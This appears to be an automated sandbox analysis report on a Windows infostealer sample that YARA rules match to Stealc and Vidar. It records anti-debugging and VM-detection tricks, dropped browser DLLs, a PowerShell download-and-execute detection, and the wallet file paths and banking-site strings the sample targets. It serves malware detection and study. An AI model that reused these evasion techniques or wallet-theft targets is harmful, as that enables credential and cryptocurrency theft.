Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50A98 second address: A50ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3F40811B56h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edx 0x0000000f pushad 0x00000010 jns 00007F3F40811B56h 0x00000016 jnl 00007F3F40811B56h 0x0000001c popad 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D0E second address: A51D18 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D18 second address: A51D2B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F40811B5Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jno 00007F3F40811B56h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A535DE second address: A535FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40513677h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A535FA second address: A53612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3F40811B62h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53612 second address: A53632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53632 second address: A5363A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5561C second address: A55620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55620 second address: A55630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40811B5Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0237 second address: 4BB023B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB023B second address: 4BB0241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0241 second address: 4BB02A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F3F40513670h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 movzx ecx, dx 0x00000017 pushfd 0x00000018 jmp 00007F3F40513673h 0x0000001d adc cl, FFFFFF8Eh 0x00000020 jmp 00007F3F40513679h 0x00000025 popfd 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB02A5 second address: 4BB02B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0313 second address: 4BB031E instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov si, di 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB031E second address: 4BB034C instructions: 0x00000000 rdtsc 0x00000002 call 00007F3F40811B63h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3F40811B62h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D7B6 second address: 96D7CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB09ED second address: 4BB0A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A06 second address: 4BB0A39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 jmp 00007F3F40513676h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A39 second address: 4BB0A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A3F second address: 4BB0A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A59 second address: 4BB0A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A5D second address: 4BB0A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A63 second address: 4BB0A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0A69 second address: 4BB0A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 987C2B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 95B817 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7C19B2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00574910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00574910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0056DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0056E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0056BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0056F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00573EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00573EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00574570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00574570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0056ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0056DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00561160 GetSystemInfo,ExitProcess,

0_2_00561160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GHDBKFHI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: GHDBKFHI.0.dr	Binary or memory string: discord.comVMware20,11696508427f
Source: GHDBKFHI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: GHDBKFHI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: GHDBKFHI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: GHDBKFHI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: GHDBKFHI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GHDBKFHI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: GHDBKFHI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: GHDBKFHI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: GHDBKFHI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: GHDBKFHI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: GHDBKFHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: GHDBKFHI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: GHDBKFHI.0.dr	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: GHDBKFHI.0.dr	Binary or memory string: global block list test formVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^f
Source: file.exe, 00000000.00000002.2591852911.0000000000475000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXgI%SystemRoot%\system32\mswsock.dll
Source: GHDBKFHI.0.dr	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GHDBKFHI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: GHDBKFHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: GHDBKFHI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: file.exe, 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GHDBKFHI.0.dr	Binary or memory string: AMC password management pageVMware20,11696508427

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58019
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59208
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58041
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58022
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58073
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58033

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAE5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAE5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00579860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00579750 mov eax, dword ptr fs:[00000030h]

0_2_00579750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00577850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00577850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CABB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CABB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00579600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00579600

Source: file.exe, file.exe, 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: |Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CABB341 cpuid

0_2_6CABB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00577B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00576920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00576920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00577850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00577850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00577A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00577A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2318604466.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6424, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
